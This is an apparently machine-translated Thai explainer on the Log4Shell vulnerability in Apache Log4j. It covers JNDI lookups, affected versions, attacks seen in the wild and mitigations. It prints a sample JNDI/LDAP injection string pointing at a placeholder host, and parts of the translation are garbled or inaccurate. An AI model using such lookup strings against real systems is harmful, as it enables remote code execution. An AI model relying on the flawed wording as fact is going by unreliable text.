สารบัญ[ซ่อน][แสดง]
ในปลายเดือนพฤศจิกายน พ.ศ. 2021 เราพบภัยคุกคามที่สำคัญต่อความปลอดภัยทางไซเบอร์ ช่องโหว่นี้อาจส่งผลกระทบต่อระบบคอมพิวเตอร์หลายล้านเครื่องทั่วโลก
นี่คือแนวทางเกี่ยวกับช่องโหว่ของ Log4j และข้อบกพร่องด้านการออกแบบที่ถูกมองข้ามไปซึ่งบริการคอมพิวเตอร์ทั่วโลกกว่า 90% เปิดให้โจมตีได้
Apache Log4j เป็นยูทิลิตี้การบันทึกแบบโอเพ่นซอร์สที่ใช้ Java ที่พัฒนาโดย Apache Software Foundation เขียนโดย Ceki Gülcü ในปี 2001 ปัจจุบันเป็นส่วนหนึ่งของ Apache Logging Services ซึ่งเป็นโครงการของ Apache Software Foundation
บริษัทต่างๆ ทั่วโลกใช้ไลบรารี Log4j เพื่อเปิดใช้งานการเข้าสู่ระบบในแอปพลิเคชันของตน อันที่จริง ไลบรารี Java มีแพร่หลายมาก คุณสามารถพบได้ในแอปพลิเคชันจาก Amazon, Microsoft, Google และอื่นๆ
ความโดดเด่นของไลบรารีหมายความว่าข้อบกพร่องใดๆ ที่อาจเกิดขึ้นในโค้ดอาจทำให้คอมพิวเตอร์หลายล้านเครื่องเปิดกว้างต่อการแฮ็กได้ เมื่อวันที่ 24 พฤศจิกายน พ.ศ. 2021 a รักษาความปลอดภัยเมฆ นักวิจัยที่ทำงานให้กับอาลีบาบาค้นพบข้อบกพร่องที่น่ากลัว
ช่องโหว่ของ Log4j หรือที่เรียกว่า Log4Shell นั้นไม่มีใครสังเกตเห็นตั้งแต่ปี 2013 ช่องโหว่ดังกล่าวทำให้ผู้ประสงค์ร้ายสามารถเรียกใช้โค้ดบนระบบที่ได้รับผลกระทบซึ่งเรียกใช้ Log4j เปิดเผยต่อสาธารณะเมื่อวันที่ 9 ธันวาคม พ.ศ. 2021
ผู้เชี่ยวชาญด้านอุตสาหกรรมเรียกข้อบกพร่องของ Log4Shell the ช่องโหว่ที่ใหญ่ที่สุดในหน่วยความจำล่าสุด.
ในสัปดาห์หลังการประกาศช่องโหว่ ทีมรักษาความปลอดภัยทางไซเบอร์ตรวจพบการโจมตีนับล้านครั้ง นักวิจัยบางคนถึงกับสังเกตอัตราการโจมตีมากกว่าร้อยครั้งต่อนาที
มันทำงานอย่างไร?
เพื่อให้เข้าใจว่าทำไม Log4Shell ถึงเป็นอันตราย เราต้องเข้าใจว่ามันทำอะไรได้บ้าง
ช่องโหว่ Log4Shell อนุญาตให้มีการเรียกใช้โค้ดโดยอำเภอใจ ซึ่งโดยทั่วไปหมายความว่าผู้โจมตีสามารถเรียกใช้คำสั่งหรือรหัสใดๆ บนเครื่องเป้าหมายได้
มันทำสิ่งนี้สำเร็จได้อย่างไร?
อันดับแรก เราต้องเข้าใจว่า JNDI คืออะไร
Java Naming and Directory Interface (JNDI) เป็นบริการ Java ที่อนุญาตให้โปรแกรม Java ค้นพบและค้นหาข้อมูลและทรัพยากรผ่านชื่อ บริการไดเร็กทอรีเหล่านี้มีความสำคัญเนื่องจากมีชุดเรกคอร์ดที่เป็นระเบียบสำหรับนักพัฒนาเพื่อให้สามารถอ้างอิงได้อย่างง่ายดายเมื่อสร้างแอปพลิเคชัน
JNDI สามารถใช้โปรโตคอลต่างๆ เพื่อเข้าถึงบางไดเร็กทอรี หนึ่งในโปรโตคอลเหล่านี้คือ Lightweight Directory Access Protocol หรือ LDAP
เมื่อบันทึกสตริง log4j ทำการแทนที่สตริงเมื่อพบนิพจน์ของ form ${prefix:name}
.
ตัวอย่างเช่น Text: ${java:version}
อาจถูกบันทึกเป็นข้อความ: Java เวอร์ชัน 1.8.0_65 การทดแทนประเภทนี้เป็นเรื่องธรรมดา
นอกจากนี้เรายังสามารถมีสำนวนเช่น Text: ${jndi:ldap://example.com/file}
ซึ่งใช้ระบบ JNDI เพื่อโหลดวัตถุ Java จาก URL ผ่านโปรโตคอล LDAP
สิ่งนี้จะโหลดข้อมูลที่มาจาก URL นั้นเข้าสู่เครื่องอย่างมีประสิทธิภาพ แฮ็กเกอร์ที่อาจเป็นไปได้สามารถโฮสต์โค้ดที่เป็นอันตรายบน URL สาธารณะและรอให้เครื่องที่ใช้ Log4j บันทึกได้
เนื่องจากเนื้อหาของข้อความบันทึกมีข้อมูลที่ควบคุมโดยผู้ใช้ แฮกเกอร์จึงสามารถแทรกข้อมูลอ้างอิง JNDI ของตนเองที่ชี้ไปยังเซิร์ฟเวอร์ LDAP ที่พวกเขาควบคุม เซิร์ฟเวอร์ LDAP เหล่านี้อาจเต็มไปด้วยอ็อบเจ็กต์ Java ที่เป็นอันตราย ซึ่ง JNDI สามารถดำเนินการผ่านช่องโหว่นี้ได้
สิ่งที่ทำให้แย่กว่านี้คือไม่สำคัญว่าแอปพลิเคชันจะเป็นแอปพลิเคชันฝั่งเซิร์ฟเวอร์หรือฝั่งไคลเอ็นต์
ตราบใดที่มีวิธีให้คนตัดไม้อ่านโค้ดที่เป็นอันตรายของผู้โจมตี แอปพลิเคชันก็ยังเปิดให้หาประโยชน์ได้
ใครได้รับผลกระทบ?
ช่องโหว่ส่งผลกระทบต่อระบบและบริการทั้งหมดที่ใช้ APache Log4j โดยมีเวอร์ชัน 2.0 ขึ้นไปและรวมถึง 2.14.1
ผู้เชี่ยวชาญด้านความปลอดภัยหลายคนแนะนำว่าช่องโหว่ดังกล่าวอาจส่งผลกระทบต่อแอปพลิเคชันจำนวนหนึ่งที่ใช้ Java
ข้อบกพร่องนี้ถูกค้นพบครั้งแรกในวิดีโอเกม Minecraft ที่ Microsoft เป็นเจ้าของ Microsoft ได้เรียกร้องให้ผู้ใช้อัปเกรดซอฟต์แวร์ Minecraft รุ่น Java เพื่อป้องกันความเสี่ยง
Jen Easterly ผู้อำนวยการ Cybersecurity and Infrastructure Security Agency (CISA) กล่าวว่าผู้ขายมี ความรับผิดชอบหลัก เพื่อป้องกันผู้ใช้ปลายทางจากผู้มุ่งร้ายที่ใช้ประโยชน์จากช่องโหว่นี้
“ผู้ขายควรสื่อสารกับลูกค้าเพื่อให้แน่ใจว่าผู้ใช้ปลายทางรู้ว่าผลิตภัณฑ์ของตนมีช่องโหว่นี้และควรจัดลำดับความสำคัญของการอัปเดตซอฟต์แวร์”
มีรายงานว่าการโจมตีได้เริ่มขึ้นแล้ว ไซแมนเทค บริษัทที่ให้บริการซอฟต์แวร์ความปลอดภัยทางไซเบอร์ ได้ตรวจสอบคำขอโจมตีจำนวนมาก
ต่อไปนี้คือตัวอย่างประเภทของการโจมตีที่นักวิจัยตรวจพบ:
- บ็อตเน็ต
บ็อตเน็ตเป็นเครือข่ายคอมพิวเตอร์ที่อยู่ภายใต้การควบคุมของฝ่ายโจมตีกลุ่มเดียว ช่วยทำการโจมตี DDoS ขโมยข้อมูล และการหลอกลวงอื่นๆ นักวิจัยสังเกตบ็อตเน็ต Muhstik ในเชลล์สคริปต์ที่ดาวน์โหลดจากการใช้ประโยชน์จาก Log4j
- XMRig Miner โทรจัน
XMRig เป็นเครื่องมือขุด cryptocurrency แบบโอเพ่นซอร์สที่ใช้ CPU เพื่อขุดโทเค็น Monero อาชญากรไซเบอร์สามารถติดตั้ง XMRig บนอุปกรณ์ของผู้คนได้ ดังนั้นพวกเขาจึงสามารถใช้พลังการประมวลผลโดยที่พวกเขาไม่รู้ตัว
- คอนสารี แรนซัมแวร์
Ransomware หมายถึงรูปแบบของมัลแวร์ที่ออกแบบมาเพื่อ เข้ารหัสไฟล์ บนคอมพิวเตอร์ ผู้โจมตีสามารถเรียกร้องการชำระเงินเพื่อแลกกับการเข้าถึงไฟล์ที่เข้ารหัสลับ นักวิจัยค้นพบแรนซัมแวร์ Konsari ในการโจมตี Log4Shell พวกเขากำหนดเป้าหมายเซิร์ฟเวอร์ Windows และใช้ประโยชน์จาก .NET framework
จะเกิดอะไรขึ้นต่อไปหรือไม่
ผู้เชี่ยวชาญคาดการณ์ว่าอาจต้องใช้เวลาหลายเดือนหรืออาจหลายปีกว่าจะแก้ไขความโกลาหลที่เกิดจากช่องโหว่ Log4J ได้อย่างเต็มที่
กระบวนการนี้เกี่ยวข้องกับการอัปเดตทุกระบบที่ได้รับผลกระทบด้วยเวอร์ชันแพตช์ แม้ว่าระบบทั้งหมดเหล่านี้จะได้รับการติดตั้งแล้ว แต่ก็ยังมีภัยคุกคามที่อาจจะเกิดขึ้นจากแบ็คดอร์ที่แฮ็กเกอร์อาจเพิ่มลงในหน้าต่างที่เซิร์ฟเวอร์เปิดไว้สำหรับการโจมตี
หลาย แนวทางแก้ไขและบรรเทาผลกระทบ มีอยู่เพื่อป้องกันไม่ให้แอปพลิเคชันถูกใช้ประโยชน์จากจุดบกพร่องนี้ Log4j เวอร์ชัน 2.15.0-rc1 ใหม่ได้เปลี่ยนการตั้งค่าต่างๆ เพื่อลดช่องโหว่นี้
คุณลักษณะทั้งหมดที่ใช้ JNDI จะถูกปิดใช้งานโดยค่าเริ่มต้น และการค้นหาระยะไกลก็ถูกจำกัดเช่นกัน การปิดใช้งานคุณสมบัติการค้นหาในการตั้งค่า Log4j ของคุณจะช่วยลดความเสี่ยงของการถูกโจมตีที่อาจเกิดขึ้นได้
ภายนอก Log4j ยังคงมีความจำเป็นสำหรับแผนที่กว้างขึ้นเพื่อป้องกันการหาประโยชน์จากโอเพ่นซอร์ส
ก่อนหน้านี้ในเดือนพฤษภาคม ทำเนียบขาวได้เผยแพร่ an คำสั่งของผู้บริหาร ซึ่งมุ่งพัฒนาความมั่นคงปลอดภัยทางไซเบอร์ของประเทศ รวมถึงข้อกำหนดสำหรับรายการวัสดุซอฟต์แวร์ (SBOM) ซึ่งเป็นเอกสารอย่างเป็นทางการซึ่งมีรายการของทุกรายการที่จำเป็นในการสร้างแอปพลิเคชัน
ซึ่งรวมถึงชิ้นส่วนต่างๆ เช่น โอเพนซอร์ส แพ็คเกจ การพึ่งพา และ API ที่ใช้สำหรับการพัฒนา แม้ว่าแนวคิดของ SBOM จะเป็นประโยชน์ต่อความโปร่งใส แต่จะช่วยผู้บริโภคได้จริงหรือ
การอัพเกรดการพึ่งพาอาจเป็นเรื่องยุ่งยากมากเกินไป บริษัทต่างๆ สามารถเลือกที่จะจ่ายค่าปรับใดๆ ก็ได้ แทนที่จะเสี่ยงที่จะเสียเวลาไปกับการค้นหาแพ็คเกจอื่น บางที SBOM เหล่านี้จะมีประโยชน์ก็ต่อเมื่อ ขอบเขต ถูกจำกัดต่อไป
สรุป
ปัญหา Log4j เป็นมากกว่าปัญหาทางเทคนิคสำหรับองค์กร
ผู้นำธุรกิจต้องตระหนักถึงความเสี่ยงที่อาจเกิดขึ้นเมื่อเซิร์ฟเวอร์ ผลิตภัณฑ์ หรือบริการของตนใช้รหัสที่พวกเขาไม่ได้รักษาไว้
การใช้โอเพ่นซอร์สและแอปพลิเคชันของบุคคลที่สามมักมีความเสี่ยงอยู่บ้าง บริษัทต่างๆ ควรพิจารณาหากลยุทธ์ในการลดความเสี่ยงก่อนที่ภัยคุกคามใหม่ ๆ จะเกิดขึ้น
เว็บส่วนใหญ่อาศัยซอฟต์แวร์โอเพนซอร์ซที่ดูแลโดยอาสาสมัครหลายพันคนทั่วโลก
หากเราต้องการให้เว็บเป็นที่ที่ปลอดภัย รัฐบาลและองค์กรต่างๆ ควรลงทุนในการให้ทุนสนับสนุนโอเพ่นซอร์สและหน่วยงานด้านความปลอดภัยทางไซเบอร์ เช่น ซีไอเอสเอ.
เขียนความเห็น